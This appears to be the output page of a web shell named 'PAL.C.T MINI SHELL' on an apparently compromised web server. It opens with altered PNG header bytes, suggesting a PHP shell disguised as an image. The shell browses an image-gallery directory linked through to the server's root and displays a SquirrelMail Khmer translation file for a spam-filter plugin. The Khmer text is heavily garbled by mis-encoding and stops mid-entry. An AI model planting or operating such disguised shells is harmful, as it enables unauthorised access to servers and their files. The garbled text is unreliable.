‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/sasql.po

# Khmer (km) sasql Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: sasql\n"
"Report-Msgid-Bugs-To: Randy Smith <perlstalker@vuser.org>\n"
"POT-Creation-Date: 2007-01-19 13:40+0100\n"
"PO-Revision-Date: 2009-04-24 09:30+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: bayes_stats.inc.php:31
msgid "Bayes Filter Statistics"
msgstr "ស្ážáž·ážáž·â€‹ážáž˜áŸ’ážšáž„ Bayes"

#: bayes_stats.inc.php:37
msgid ""
"Below are the number of messages that have been learned as spam and ham (non-"
"spam) by the Bayesian filter. The Bayesian filter does not activate until "
"enough messages have been learned as spam or ham."
msgstr "ážáž¶áž„ក្រោម គឺ​ជា​ចំនួន​សារ​ដែល​ážáŸ’រូវបាន​ស្គាល់​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ និង​កំហុស (មិនមែន​ជា​សារ​ឥážáž”ាន​ការ) ដោយ​ážáž˜áŸ’ážšáž„ Bayesian ។ ážáž˜áŸ’ážšáž„ Bayesian មិន​ធ្វើ​ឲ្យ​សកម្ម​ទ០រហូážâ€‹áž‘ាល់ážáŸ‚​មាន​សារ​គ្រប់គ្រាន់​ដែល​បាន​ដឹង​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ ឬ​កំហុស ។"

#: bayes_stats.inc.php:41
msgid "Spam Count"
msgstr "ចំនួន​សារ​ឥážâ€‹áž”ាន​ការ"

#: bayes_stats.inc.php:47
msgid "Ham Count"
msgstr "ចំនួន​កំហុស"

#: dspam.inc.php:82
msgid "DSPAM Settings"
msgstr "ការ​កំណážáŸ‹ DSPAM"

#: dspam.inc.php:89
msgid "Warning"
msgstr "ព្រមាន"

#: dspam.inc.php:91
msgid "Enabling DSPAM will disable SpamAssassin scanning of your email."
msgstr "ការ​អនុញ្ញាហDSPAM នឹង​បិទ​ការ​វិភាគ SpamAssassin នៃ​អ៊ីមែល​របស់​អ្នក ។"

#: dspam.inc.php:94
msgid "SpamAssassin settings and white/blacklists will not be used by dspam."
msgstr "ការ​កំណážáŸ‹ SpamAssassin និង​បញ្ជី​ážáŸ’មៅ/ស នឹង​មិន​ážáŸ’រូវបាន​ប្រើ​ដោយ dspam áž‘áŸÂ áŸ”"

#. *
#. * To translators: %s's will be replaced with <a ..> and </a>
#.
#: dspam.inc.php:102
#, php-format
msgid ""
"This %sFAQ%s from the DSPAM web site explains the differences between "
"SpamAssassin and DSPAM and why you might want to use dspam instead of "
"SpamAssassin."
msgstr ""
"%sសំណួរ​សួរ​ជា​ញឹកញាប់%s áž“áŸáŸ‡â€‹áž–ី​ážáŸ†áž”ន់បណ្ដាញ DSPAM ពន្យល់​អំពី​ភាព​ážáž»ážŸáž‚្នា​រវាង "
"SpamAssassin និង DSPAM និង​មូលហáŸážáž»â€‹ážŠáŸ‚ល​អ្នក​ចង់​ប្រើ dspam ជំនួស SpamAssassin ។"

#: dspam.inc.php:113
msgid ""
"DSPAM is a learning system that filters spam based on what <i>you</i> tell "
"it is spam and what isn't. Messages are analyzed as they are delivered and "
"are assigned a spam probability between 0 and 1. The more messages you "
"receive, both spam and innocent, the better DSPAM learns what <i>you</i> "
"think is spam and what is not."
msgstr "DSPAM គឺ​ជា​ប្រពáŸáž“្ធ​សិក្សា​ដែល​មាន​មូលដ្ឋាន​លើ​អ្វី​ដែល​<i>អ្នក</i> ប្រាប់​ážáž¶â€‹áž¢áŸ’វី​ជា​សារ​ឥážáž”ាន​ការ និង​អ្វី​ដែល​មិនមែន​ជា​សារ​ឥážâ€‹áž”ាន​ការ ។ សារ​​ážáŸ’រូវបាន​វិភាគ​ážáž¶â€‹áž–ួកវា​ážáŸ’រូវបាន​បញ្ជូន​ដល់ និង​ážáŸ’រូវបាន​ផ្ដល់​ជា​ប្រូបាប​សារ​ឥážâ€‹áž”ាន​ការ​រវាង ០ និង ១ ។ អ្នក​ទទួល​សារ​កាន់ážáŸ‚​ច្រើន (ទាំង​សារ​ឥážáž”ាន​ការ និង​ការ​បន្លំ) នោះ DSPAM កាន់ážáŸ‚​ដឹង​ច្បាស់​ážáž¶áž¢áŸ’វី​ដែល​<i>អ្នក</i>​គិážážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž˜áž·áž“បាន​ការ និង​អ្វី​​ដែល​មិនមែន ។"

#: dspam.inc.php:117
msgid "Reporting Spam"
msgstr "រាយការណáŸâ€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ"

#: dspam.inc.php:120
msgid ""
"If you receive a spam message in your Inbox, forward the message to "
"<nobr>username-spam@domain</nobr> and it will be learned as spam. For "
"example, if your address is joe@example.com, you would forward the message "
"to <nobr>joe-spam@example.com</nobr>."
msgstr "ប្រសិន​បើ​អ្នក​ទទួល​សារ​ឥážáž”ាន​ការ​ក្នុង​ប្រអប់​សំបុážáŸ’រ​របស់​អ្នក បញ្ជូន​សារ​បន្ážâ€‹áž‘ៅ <nobr>username-spam@domain</nobr> ហើយ​វា​នឹង​ážáŸ’រូវ​បាន​ដឹង​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ ។ ឧទាហរណ០ប្រសិន​បើ​អាសយដ្ឋាន​របស់​អ្នក​គឺ joe@example.com គឺ​អ្នក​ážáŸ’រូវ​បញ្ជូន​បន្ážâ€‹ážŸáž¶ážšâ€‹áž‘ៅកាន់ <nobr>joe-spam@example.com</nobr> ។"

#: dspam.inc.php:126
#, php-format
msgid ""
"You can also move your spam messages to the <i>%s</i> folder. This folder is "
"periodically checked for messages which are then learned as spam and "
"deleted. You do not need to move messages from your %s folder here because "
"they have already been learned as spam."
msgstr "អ្នក​កáŸâ€‹áž¢áž¶áž…​ផ្លាស់ទី​សារ​ឥážâ€‹áž”ាន​ការ​របស់​អ្នក​ទៅកាន់​ážáž <i>%s</i> ។ ážážâ€‹áž“áŸáŸ‡â€‹áž‚ឺ​ážáŸ’រូវបាន​ពិនិážáŸ’យ​រកមើល​សារ​យ៉ាង​ទៀងទាážáŸ‹ ដែល​ពáŸáž›â€‹áž“ោះ​នឹង​ážáŸ’រូវ​បាន​ដឹង​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšáž¥ážáž”ាន​ការ ហើយ​ážáŸ’រូវបាន​លុបចáŸáž‰Â áŸ” អ្នក​មិន​ចាំបាច់​ផ្លាស់ទី​សារ​ពី​ážáž %s របស់​អ្នក​នៅ​ទីនáŸáŸ‡â€‹áž‘០ព្រោះ​​ពួកវា​ážáŸ’រូវបាន​ដឹង​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ​រួចហើយ ។"

#: dspam.inc.php:131
msgid "Reporting False Positives"
msgstr "រាយការណ០False Positives"

#: dspam.inc.php:134
msgid ""
"From time to time, DSPAM will catch an innocent messages as spam. These "
"messages are called \"false positives\". There is no way to prevent false "
"positives entirely. If you find a false positive, forward the message to "
"<nobr>username-fp@domain</nobr> and it will be learned as an innocent "
"message. For example, if your email address is joe@example.com, you would "
"forward the message to <nobr>joe-fp@example.com</nobr>."
msgstr ""
"ពី​ពáŸáž›â€‹áž˜áž½áž™â€‹áž‘ៅ​មួយ DSPAM នឹង​ចាប់​យក​សារ​ដែល​មាន​កំហុស​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ ។ សារ​ទាំងនáŸáŸ‡â€‹áž‚ឺ​ážáŸ’រូវ​បាន​ហៅ​ážáž¶ \"false positives\" ។ គ្មាន​វិធី​ជៀស​ផុážâ€‹áž–ី false positives បានទáŸÂ áŸ” ប្រសិន​បើ​អ្នក​រក​ឃើញ false positive គឺ​ážáŸ’រូវ​បញ្ជូន​បន្ážâ€‹áž‘ៅ "
"<nobr>username-fp@domain</nobr> ហើយ​វា​នឹង​ដឹង​ážáž¶â€‹ážœáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž€áŸ†áž áž»ážŸÂ áŸ” ឧទាហរណ០ប្រសិន​បើ​អាសយដ្ឋាន​អ៊ីមែល​របស់​អ្នក​គឺ joe@example.com អ្នក​នឹង​ážáŸ’រូវ​បញ្ជូន​បន្ážâ€‹áž‘ៅ <nobr>joe-fp@example.com</nobr> ។"

#: dspam.inc.php:140
#, php-format
msgid ""
"You can also move your false positives to the <i>%s</i> folder from the %s "
"folder. This folder is periodically checked for messages which are then "
"learned as false positives and deleted."
msgstr "អ្នក​កáŸâ€‹áž¢áž¶áž…​ផ្លាស់ទី false របស់​អ្នក​ទៅážáž <i>%s</i> ពី​ážáž %s ។ ážážâ€‹áž“áŸáŸ‡â€‹áž‚ឺ​ážáŸ’រូវបាន​ពិនិážáŸ’យ​រក​មើល​សារ​យ៉ាង​ទៀážáž‘áž¶ážáŸ‹ ដែល​នឹង​ážáŸ’រូវ​ដឹង​ážáž¶â€‹áž‡áž¶ false positives ហើយ​ážáŸ’រូវបាន​លុប​ចោល ។"

#: dspam.inc.php:145
msgid "Disclaimer"
msgstr "អ្នក​បដិសáŸáž’"

#: dspam.inc.php:148
msgid ""
"DSPAM is a learning system. It only knows what is spam based on what you "
"teach it is spam and what is not. Due to DSPAM's nature, you are more likely "
"to see errors in spam detection until it is trained on your email. If you do "
"not report a message as spam within ten days, the message will be "
"permanently learned as innocent and you will be more likely to receive more "
"spam."
msgstr "DSPAM គឺ​ជា​ប្រពáŸáž“្ធ​សិក្សា ។ វា​ដឹង​ážáŸ‚​ពី​អ្វី​ដែល​ជា​សារ​ឥážáž”ាន​ការ​ដែល​ផ្អែក​លើ​អ្វី​ដែល​អ្នក​ធ្វើ​ឲ្យ​ដឹង​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ និង​អ្វី​ដែល​មិនមែន ។ ដោសារ​ážáŸ‚​លំនាំដើម​របស់ DSPAM អ្នក​គឺ​នឹង​ឃើញ​សំបុážáŸ’រ​ក្នុង​ការរកឃើញ​សារ​ឥážáž”ាន​ការ​ដែល​ážáŸ’រូវ​បាន​រក​មើល​នៅ​ក្នុង​អ៊ីមែល​របស់​អ្នក ។ ប្រសិន​បើ​អ្នក​មិន​រាយការណáŸâ€‹ážŸáž¶ážšâ€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ​ក្នុង​រយៈ​ពáŸáž› ១០ ážáŸ’ងៃ​នោះ​ទ០សារ​នឹង​ážáŸ’រូវ​ដឹង​ដោយ​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹ážáž¶â€‹áž‡áž¶â€‹áž€áŸ†áž áž»ážŸ ហើយ​អ្នក​នឹង​ទទួល​សារ​ឥážâ€‹áž”ាន​ការ​កាន់ážáŸ‚​ច្រើន​ទៀážÂ áŸ”"

#. *
#. * To translators: %s's will be replaced by <a ..> and </a>
#.
#: dspam.inc.php:162
#, php-format
msgid "Please read the %sDSPAM Primer%s before enabling DSPAM."
msgstr "សូម​អាន %sDSPAM Primer%s មុន​ពáŸáž›â€‹áž¢áž“ុញ្ញាហDSPAM ។"

#: dspam.inc.php:183
msgid "Use DSPAM"
msgstr "ប្រើ DSPAM"

#. *
#. * To translators: %s is the name of the spam folder.
#.
#: dspam.inc.php:198
#, php-format
msgid "Clean out your %s folder on opt-in?"
msgstr "ជម្រះ​ážáž %s របស់​អ្នក​នៅ​លើ opt-in ?"

#: dspam.inc.php:200 purge.inc.php:37
msgid "Note"
msgstr "ចំណាំ"

#. *
#. * To translators: %s is the name of the spam folder.
#.
#: dspam.inc.php:205 purge.inc.php:38
#, php-format
msgid ""
"Your %s folder may be unavailable during the purge. It will become available "
"again when the purge is complete."
msgstr "ážáž %s របស់​អ្នក​អាច​មិន​មាន​ទáŸâ€‹áž“ៅពáŸáž›â€‹ážŸáž˜áŸ’អាážÂ áŸ” វា​នឹង​មាន​ម្ដងទៀážâ€‹áž“ៅពáŸáž›â€‹ážŠáŸ‚ល​បាន​បញ្ចប់​ការ​សម្អាážÂ áŸ”"

#: dspam.inc.php:214
msgid "Update"
msgstr "ធ្វើ​ឲ្យ​ទាន់សមáŸáž™"

#: move_to.php:98
msgid "No messages were selected."
msgstr "គ្មាន​សារ​ដែល​បាន​ជ្រើស​ទáŸÂ áŸ”"

#: policyd_docs.inc.php:8 policyd.inc.php:186
msgid "Greylisting"
msgstr "Greylisting"

#: policyd_docs.inc.php:9
msgid "What is Greylisting?"
msgstr "អ្វី​ជា Greylisting ?"

#: policyd_docs.inc.php:12
msgid ""
"Greylisting is a method of filtering spam that relies on the fact that most "
"spammers use software that does not behave like a regular email program. "
"Instead of retrying when it receives a \"temporary error\" from a mail "
"server, the spammer's software will give up on the message and keep going "
"through their list. Because legitimate servers will attempt to resend the "
"message after a temporary error, no legitimate mail is blocked."
msgstr ""
"Greylisting គឺ​ជា​វិធីសាស្ដ្រ​នៃ​ការ​ážáŸ’រង​សារ​ឥážáž”ាន​ការ​ដែលអាស្រáŸáž™áž›áž¾â€‹áž€áž¶ážšâ€‹áž–áž·ážâ€‹áž‡áž¶áž€áŸ‹ážŸáŸ’ដែង​ដែល​អ្នក​ផ្ញើ​សារ​ឥážáž”ាន​ការ​ភាគច្រើន​ប្រើ​កម្មវិធី​ដែល​មិន​ដូច​គ្នា​នឹង​កម្មវិធី​អ៊ីមែល​ទូទៅ ។ "
"ជំនួស​ឲ្យ​ការ​ព្យាយាម​ឡើងវិញ​នៅពáŸáž›â€‹ážŠáŸ‚ល​វា​ទទួល \"កំហុស​បណ្ដោះ​អាសន្ន\" ពី​ម៉ាស៊ីន​បម្រើ​សំបុážáŸ’ážš ដែល​កម្មវិធី​របស់​អ្នក​ផ្ញើ​សារ​ឥážáž”ាន​ការ​នឹង​បន្សល់​នៅ​លើ​សារ និង​បន្ážâ€‹áž‘ៅážáž¶áž˜â€‹áž”ញ្ជី​របស់​ពួកគáŸÂ áŸ” ដោយ​សារ​ážáŸ‚​ម៉ាស៊ីន​បម្រើ​ážáŸ’រឹមážáŸ’រូវ នឹង​​ផ្ញើ​សារ​ម្ដងទៀážâ€‹áž”ន្ទាប់​ពី​មាន​កំហុស​បណ្ដោះ​អាសន្ន សំបុážáŸ’រ​ដែល​មិនážáŸ’រឹមážáŸ’រូវ​គឺ​ážáŸ’រូវ​បាន​ទប់ស្កាážáŸ‹Â áŸ”"

#: policyd_docs.inc.php:15
msgid "Email Delays"
msgstr "ពន្យាពáŸáž›â€‹áž¢áŸŠáž¸áž˜áŸ‰áŸ‚áž›"

#: policyd_docs.inc.php:18
msgid ""
"Greylisting tells the sending server to retry before the message is allowed "
"in. Most servers will retry within five minutes but may take longer "
"depending on the amount of mail to be sent. It is not surprising to see mail "
"delayed for as much as an hour, though such delays are uncommon."
msgstr "Greylisting ជូន​ដំណឹង​ដល់​ម៉ាស៊ីន​បម្រើ​ផ្ញើ​ឲ្យ​សាកល្បង​ម្ដងទៀហមុន​ពáŸáž›â€‹áž¢áž“ុញ្ញាážâ€‹ážŸáž¶ážšÂ áŸ” ម៉ាស៊ីន​បម្រើ​ភាគច្រើន នឹង​សាកល្បង​ម្ដងទៀážâ€‹â€‹áž€áŸ’នុង​រយៈពáŸáž› ៥ នាទី ប៉ុន្ážáŸ‚​អាច​យូរ​ជាង​នáŸáŸ‡ ដោយ​អាស្រáŸáž™â€‹ážáž¶áž˜â€‹áž…ំនួន​សំបុážáŸ’រ​ដែល​បាន​ផ្ញើ ។ វា​មិន​គួរ​ឲ្យ​ភ្ញាក់ផ្អើល​ទáŸâ€‹ážŠáŸ‚ល​​ឃើញ​ážáž¶â€‹ážŸáŸ†áž”áž»ážáŸ’រ​ážáŸ’រូវបាន​ពន្យាពáŸáž›â€‹ážšáž™áŸˆâ€‹áž–áŸáž› ១ ម៉ោង​ ដូច្នáŸáŸ‡â€‹áž€áž¶ážšâ€‹áž–ន្យាពáŸáž›â€‹ážŠáž¼áž…នោះ​គឺ​មិន​ធម្មážáž¶â€‹áž‘áŸÂ áŸ”"

#: policyd_docs.inc.php:22 policyd.inc.php:195
#, php-format
msgid "Warning: "
msgstr "ព្រមាន ៖ "

#: policyd_docs.inc.php:23
msgid "Do not enable greylisting if you require immediate delivery of email."
msgstr "មិន​​អនុញ្ញាហgreylisting ទ០ប្រសិន​បើ​អ្នក​ážáŸ’រូវការ​បញ្ជូន​អ៊ីមែល​ភ្លាមៗ​នោះ ។"

#. To translators: %s's are the function name and PEAR generated errors.
#.
#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: policyd.inc.php:50 policyd.inc.php:90 policyd.inc.php:122
#: policyd.inc.php:140 sasql_db.php:43 sasql_db.php:79 sasql_db.php:223
#: sasql_db.php:280 sasql_db.php:336 sasql_db.php:393 sasql_db.php:419
#: sasql_db.php:466 sasql_db.php:505 sasql_db.php:536
#, php-format
msgid "Database error in %s: %s"
msgstr "មាន​កំហុស​មូលដ្ឋាន​ទិន្ននáŸáž™â€‹áž“ៅ​ក្នុង %s ៖ %s"

#: policyd.inc.php:176
msgid "Policy Settings"
msgstr "ការកំណážáŸ‹â€‹áž‚ោលដៅ"

#. To translators: %s's are <a ..> and </a>
#: policyd.inc.php:191
#, php-format
msgid "Enable greylisting. See %sthis page%s for more details."
msgstr "អនុញ្ញាហgreylisting ។ ចំពោះ​សáŸáž…ក្ដី​លម្អិážâ€‹áž”ន្ážáŸ‚ម សូម​មើល​%sទំពáŸážšâ€‹áž“áŸáŸ‡%s ។"

#: policyd.inc.php:196
msgid "Greylisting may delay the delivery of email."
msgstr "Greylisting អាច​ពន្យាពáŸáž›â€‹áž€áŸ’នុង​ការ​បញ្ជូន​អ៊ីមែល ។"

#: policyd.inc.php:204 sa_settings.inc.php:173
msgid "Save Settings"
msgstr "រក្សាទុក​ការ​កំណážáŸ‹"

#: purge.inc.php:22
#, php-format
msgid "Purge %s Folder"
msgstr "សម្អាហ%s"

#: purge.inc.php:30
msgid "Purge"
msgstr "សម្ងាáž"

#: purge.inc.php:33
#, php-format
msgid "Delete all messages from your %s folder."
msgstr "លុប​សារ​ទាំងអស់​ពី​ážáž %s របស់​អ្នក ។"

#: sa_abooksync.inc.php:20
msgid "Allow Senders from Address Book"
msgstr "អនុញ្ញាážâ€‹áž¢áŸ’នក​ផ្ញើ​ពី​សៀវភៅ​អាសយដ្ឋាន"

#: sa_abooksync.inc.php:26
msgid "Allow"
msgstr "អនុញ្ញាáž"

#: sa_abooksync.inc.php:27
msgid "Allow all address in the address book."
msgstr "អនុញ្ញាážâ€‹áž¢áž¶ážŸáž™ážŠáŸ’ឋាន​ទាំងអស់​នៅ​ក្នុង​សៀវភៅ​អាសយដ្ឋាន ។"

#. required_hists
#: sa_opts-dist.php:19 sasql_hooks.php:450
msgid "Spam Score"
msgstr "ពិន្ទុ​​សារ​ឥážáž”ានការ"

#: sa_opts-dist.php:20
msgid ""
"Once all SpamAssassin tests have been run, the resulting score is matched "
"against this value, and if greater than this value, the e-mail message is "
"marked as spam. We recommend a value of '5'."
msgstr "នៅពáŸáž›â€‹ážŠáŸ‚ល​ការ​សាកល្បង SpamAssassin ទាំងអស់​ដំណើរការ ពិន្ទុ​លទ្ធផល​គឺ​ážáŸ’រូវ​បាន​ផ្គូផ្គងážáž¶áž˜â€‹ážáž˜áŸ’លៃ​នáŸáŸ‡ ហើយ​ប្រសិន​បើ​ធំជាង​ážáž˜áŸ’លៃ​នáŸáŸ‡ នោះ​សារ​អ៊ីមែល​គឺ​ážáŸ’រូវ​បាន​សម្គាល់​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ ។ យើង​ážáŸ’ញុំ​ឲ្យ​ផ្ដល់​អនុសាសនáŸâ€‹áž²áŸ’យ​ប្រើ​ážáž˜áŸ’លៃ '5' ។"

#: sa_opts-dist.php:22
msgid "0 - Very Aggressive"
msgstr "0 - ឈ្លានពាន​ážáŸ’លាំង"

#: sa_opts-dist.php:23
msgid "1"
msgstr "1"

#: sa_opts-dist.php:24
msgid "2 - Aggressive"
msgstr "2 - ឈ្លានពាន"

#: sa_opts-dist.php:25
msgid "3"
msgstr "3"

#: sa_opts-dist.php:26
msgid "4"
msgstr "4"

#: sa_opts-dist.php:27
msgid "5 - Recommended"
msgstr "5 - ផ្ដល់​អានុសាសនáŸ"

#: sa_opts-dist.php:28
msgid "6"
msgstr "6"

#: sa_opts-dist.php:29
msgid "7"
msgstr "7"

#: sa_opts-dist.php:30
msgid "8 - Lenient"
msgstr "8 - អážáŸ‹áž¢áŸ„áž“"

#: sa_opts-dist.php:31
msgid "9"
msgstr "9"

#: sa_opts-dist.php:32
msgid "10 - Very Lenient"
msgstr "10 - អážáŸ‹áž¢áŸ„ន​ážáŸ’លាំង"

#: sa_opts-dist.php:33
msgid "Don't Filter"
msgstr "កុំ​ážáŸ’ážšáž„"

#. NOTE: The ordering here is a little odd to allow some inclusion of
#. other option names.
#. subject_tag
#: sa_opts-dist.php:43
msgid "Spam Subject Tag"
msgstr "ស្លាក​ប្រធាន​បទ​សារ​ឥážáž”ាន​ការ"

#: sa_opts-dist.php:45
msgid "*****SPAM*****"
msgstr "*****សារ​ឥážâ€‹áž”ាន​ការ*****"

#. rewrite_subject
#. 'rewrite_header subject'
#: sa_opts-dist.php:48 sa_opts-dist.php:63
msgid "Rewrite Subject Line"
msgstr "សរសáŸážšâ€‹áž”ន្ទាážáŸ‹â€‹áž”្រធាន​បទ​ឡើងវិញ"

#. To translators: %s is the default from subject_tag
#: sa_opts-dist.php:50
#, php-format
msgid ""
"SpamAssassin can re-write the subject line of e-mail that has been "
"determined to be spam by prefixing the original subject with: %s.  To turn "
"on this feature, select this option."
msgstr "SpamAssassin អាច​សរសáŸážšâ€‹áž”ន្ទាប់​ប្រធាន​បទ​​អ៊ីមែល​ឡើងវិញ​បាន​ដែល​ážáŸ’រូវ​បាន​ចាážáŸ‹áž‘ុក​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ ដោយ​បន្ážáŸ‚ម​ážáž¶áž„ដើម​ប្រធាន​បទ​ដើម​ជាមួយ​នឹង ៖ %s ។ ដើម្បី​បើក​លក្ážážŽáŸˆáž–ិសáŸážŸâ€‹áž“áŸáŸ‡ គឺ​ážáŸ’រូវ​ជ្រើស​ជម្រើស​នáŸáŸ‡Â áŸ”"

#. This is here to allow me to include the rewrite_subject title
#. *
#. * To Translators: %s is the title from rewrite_subject
#.
#: sa_opts-dist.php:60
#, php-format
msgid ""
"The text to prefix to the subject of messages determined to be spam. %s must "
"be turned on."
msgstr "អážáŸ’ážáž”ទ​ដែល​ážáŸ’រូវ​បន្ážáŸ‚ម​ážáž¶áž„​មុážâ€‹áž”្រធានបទ​របស់​សារ​បាន​កំណážáŸ‹â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ ។ %s ážáŸ’រូវ​ážáŸ‚​បិទ ។"

#: sa_opts-dist.php:64
msgid ""
"SpamAssassin can re-write the subject line of e-mail that has been "
"determined to be spam by prefixing the original subject with this value."
msgstr "SpamAssassin អាច​សរសáŸážšâ€‹áž”ន្ទាážáŸ‹â€‹áž”្រធាន​បទ​ឡើងវិញ​របស់​អ៊ីមែល ដែល​ážáŸ’រូវ​បាន​ចាážáŸ‹áž‘ុក​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ​ដោយ​បន្ážáŸ‚ម​ážáž¶áž„មុážâ€‹áž”្រធាន​បទ​ដើម​ដោយ​ážáž˜áŸ’លៃ​នáŸáŸ‡Â áŸ”"

#. use_terse_report
#: sa_opts-dist.php:70
msgid "Short Report"
msgstr "របាយការណáŸâ€‹ážáŸ’លី"

#: sa_opts-dist.php:71
msgid ""
"This option will tell SpamAssassin to use a shorter spam report once the "
"message has been found to be spam."
msgstr "ជម្រើស​នáŸáŸ‡ នឹង​ប្រាប់​ឲ្យ SpamAssassin ប្រើ​របាយការណáŸâ€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ​ážáŸ’លីៗ​ នៅពáŸáž›â€‹ážŠáŸ‚ល​​រកឃើញ​ážáž¶â€‹ážŸáž¶ážšâ€‹áž“ោះ​ជា​សារ​ឥážâ€‹áž”ាន​ការ ។"

#. use_dcc
#: sa_opts-dist.php:77
msgid "Use DCC"
msgstr "ប្រើ DCC"

#: sa_opts-dist.php:78
msgid ""
"Checks messages against the DCC (Distrubuted Checksum Clearinghouse) to see "
"if a message matches a known spam message."
msgstr "ពិនិážáŸ’យ​រក​មើល​សារ​ážáž¶áž˜ DCC (Distrubuted Checksum Clearinghouse) ដើម្បី​មើល​ážáž¶ážáž¾ សារ​ផ្គូផ្គង​នឹង​សារ​ឥážáž”ាន​ការ​ដែល​ស្គាល់​ឬ​អážáŸ‹Â áŸ”"

#. use_razor1
#: sa_opts-dist.php:84
msgid "Use SpamNet (version 1)"
msgstr "ប្រើ SpamNet (កំណែ ១)"

#: sa_opts-dist.php:85 sa_opts-dist.php:92
msgid "Checks messages against SpamNet to see if a message is a known spam message."
msgstr "ពិនិážáŸ’យ​មើល​សារ​ážáž¶áž˜ SpamNet ដើម្បី​មើល​ážáž¶ážáž¾â€‹ážŸáž¶ážšâ€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ​ឬ​អážáŸ‹Â áŸ”"

#. use_razor2
#: sa_opts-dist.php:91
msgid "Use SpamNet (version 2)"
msgstr "ប្រើ SpamNet (កំណែ ២)"

#. always_add_headers
#: sa_opts-dist.php:98
msgid "Always Add Headers"
msgstr "បន្ážáŸ‚ម​បឋមកážáž¶â€‹áž‡áž¶áž“ិច្ច"

#: sa_opts-dist.php:99
msgid "Uncheck if you do not want to add the headers to non-spam."
msgstr "ដោះធីក ប្រសិន​បើ​​អ្នក​មិន​ចង់​បន្ážáŸ‚ម​បឋមកážáž¶â€‹áž‘ៅ​មិនមែន​សារ​ឥážáž”ាន​ការ​នោះ ។"

#. ok_languages
#: sa_opts-dist.php:105
msgid "Acceptable Languages"
msgstr "ភាសា​ដែល​អាច​ទទួល​យក​បាន"

#: sa_opts-dist.php:106
msgid "Select all the languages you expect to receive e-mail in."
msgstr "ជ្រើស​ភាសា​ទាំងអស់​ដែល​អ្នក​រំពឹង​ážáž¶â€‹áž“ឹង​ទទួល​អ៊ីមែល ។"

#: sa_opts-dist.php:112
msgid "All"
msgstr "ទាំងអស់"

#: sa_opts-dist.php:113
msgid "Afrikaans"
msgstr "អាហ្វ្រីកាអាន"

#: sa_opts-dist.php:114
msgid "Albanian"
msgstr "អាល់បានី"

#: sa_opts-dist.php:115
msgid "Amharic"
msgstr "អាមហារិក"

#: sa_opts-dist.php:116
msgid "Arabic"
msgstr "អារ៉ាប់​"

#: sa_opts-dist.php:117
msgid "Armenian"
msgstr "​អារមáŸáž“ី"

#: sa_opts-dist.php:118
msgid "Basque"
msgstr "បាស្កáŸ"

#: sa_opts-dist.php:119
msgid "Bosnian"
msgstr "បូស្នី"

#: sa_opts-dist.php:120
msgid "Bulgarian"
msgstr "ប៊ុលហ្គារី"

#: sa_opts-dist.php:121
msgid "Byelorussian"
msgstr "បាយឡូរុស"

#: sa_opts-dist.php:122
msgid "Catalan"
msgstr "កាážáž¶áž¡áž¶áž“"

#: sa_opts-dist.php:123
msgid "Chinese"
msgstr "áž…áž·áž“"

#: sa_opts-dist.php:124
msgid "Croatian"
msgstr "​ក្រូអាáž"

#: sa_opts-dist.php:125
msgid "Czech"
msgstr "​ឆáŸáž€"

#: sa_opts-dist.php:126
msgid "Danish"
msgstr "ដាណឺម៉ាក"

#: sa_opts-dist.php:127
msgid "Dutch"
msgstr "​ហុល្លង់"

#: sa_opts-dist.php:128
msgid "English"
msgstr "អង់គ្លáŸážŸâ€‹"

#: sa_opts-dist.php:129
msgid "Esperanto"
